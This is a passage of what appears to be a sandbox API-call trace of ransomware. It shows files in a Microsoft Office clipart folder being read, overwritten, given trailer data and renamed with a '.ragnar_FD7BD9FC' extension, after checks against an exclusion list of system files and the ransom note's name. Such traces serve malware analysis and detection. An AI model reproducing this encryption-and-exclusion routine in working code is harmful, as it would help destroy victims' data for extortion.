[0087.678] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg")) returned 0x20 [0087.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.678] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42842) returned 1 [0087.678] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa751, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.678] GetProcessHeap () returned 0x580000 [0087.678] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.678] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.680] VirtualAlloc (lpAddress=0x0, dwSize=0xa75a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.680] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa75a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa75a, lpOverlapped=0x0) returned 1 [0087.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa75a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.682] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa75a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa75a, lpOverlapped=0x0) returned 1 [0087.682] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa75a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.682] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.683] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa75a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.683] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.683] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.683] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.683] GetProcessHeap () returned 0x580000 [0087.683] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.683] CloseHandle (hObject=0xf4) returned 1 [0087.683] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" [0087.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.ragnar_FD7BD9FC" [0087.683] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.686] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1 [0087.686] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.687] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0313970.JPG" | out: lpString1="J0313970.JPG") returned="J0313970.JPG" [0087.687] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG") returned=".JPG" [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="autorun.inf") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="boot.ini") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="bootfont.bin") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="bootsect.bak") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="bootmgr") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="bootmgr.efi") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="bootmgfw.efi") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="desktop.ini") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="iconcache.db") returned 1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="ntldr") returned -1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="ntuser.dat") returned -1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="ntuser.dat.log") returned -1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="ntuser.ini") returned -1 [0087.687] lstrcmpiW (lpString1="J0313970.JPG", lpString2="thumbs.db") returned -1 [0087.687] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.687] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.687] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.687] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.687] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.687] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.687] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg")) returned 0x20 [0087.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.688] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33195) returned 1 [0087.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.688] GetProcessHeap () returned 0x580000 [0087.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.688] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.689] VirtualAlloc (lpAddress=0x0, dwSize=0x81ab, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.689] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.689] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.689] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x81ab, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x81ab, lpOverlapped=0x0) returned 1 [0087.690] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.691] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x81ab, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.691] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x81ab, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x81ab, lpOverlapped=0x0) returned 1 [0087.691] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x81ab, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.691] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x81ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.691] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.691] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.691] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.692] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.692] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.692] GetProcessHeap () returned 0x580000 [0087.692] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.692] CloseHandle (hObject=0xf4) returned 1 [0087.692] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" [0087.692] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.ragnar_FD7BD9FC" [0087.692] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.693] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1 [0087.693] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.693] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0313974.JPG" | out: lpString1="J0313974.JPG") returned="J0313974.JPG" [0087.693] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG") returned=".JPG" [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="autorun.inf") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="boot.ini") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="bootfont.bin") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="bootsect.bak") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="bootmgr") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="bootmgr.efi") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="bootmgfw.efi") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="desktop.ini") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="iconcache.db") returned 1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="ntldr") returned -1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="ntuser.dat") returned -1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="ntuser.dat.log") returned -1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="ntuser.ini") returned -1 [0087.693] lstrcmpiW (lpString1="J0313974.JPG", lpString2="thumbs.db") returned -1 [0087.693] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.693] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.693] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.693] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.693] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.693] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.693] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg")) returned 0x20 [0087.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.694] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=47569) returned 1 [0087.694] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb9c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.694] GetProcessHeap () returned 0x580000 [0087.694] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.694] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.695] VirtualAlloc (lpAddress=0x0, dwSize=0xb9d1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.696] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9d1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb9d1, lpOverlapped=0x0) returned 1 [0087.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.698] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9d1, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.698] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9d1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb9d1, lpOverlapped=0x0) returned 1 [0087.698] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9d1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.698] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb9d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.699] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.699] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.699] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.699] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.699] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.699] GetProcessHeap () returned 0x580000 [0087.699] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.699] CloseHandle (hObject=0xf4) returned 1 [0087.699] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" [0087.699] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.ragnar_FD7BD9FC" [0087.699] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.700] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1 [0087.700] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.700] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0314068.JPG" | out: lpString1="J0314068.JPG") returned="J0314068.JPG" [0087.700] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG") returned=".JPG" [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="autorun.inf") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="boot.ini") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="bootfont.bin") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="bootsect.bak") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="bootmgr") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="bootmgr.efi") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="bootmgfw.efi") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="desktop.ini") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="iconcache.db") returned 1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="ntldr") returned -1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="ntuser.dat") returned -1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="ntuser.dat.log") returned -1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="ntuser.ini") returned -1 [0087.700] lstrcmpiW (lpString1="J0314068.JPG", lpString2="thumbs.db") returned -1 [0087.701] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.701] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.701] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.701] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.701] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.701] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.701] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg")) returned 0x20 [0087.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.702] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16626) returned 1 [0087.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.702] GetProcessHeap () returned 0x580000 [0087.702] 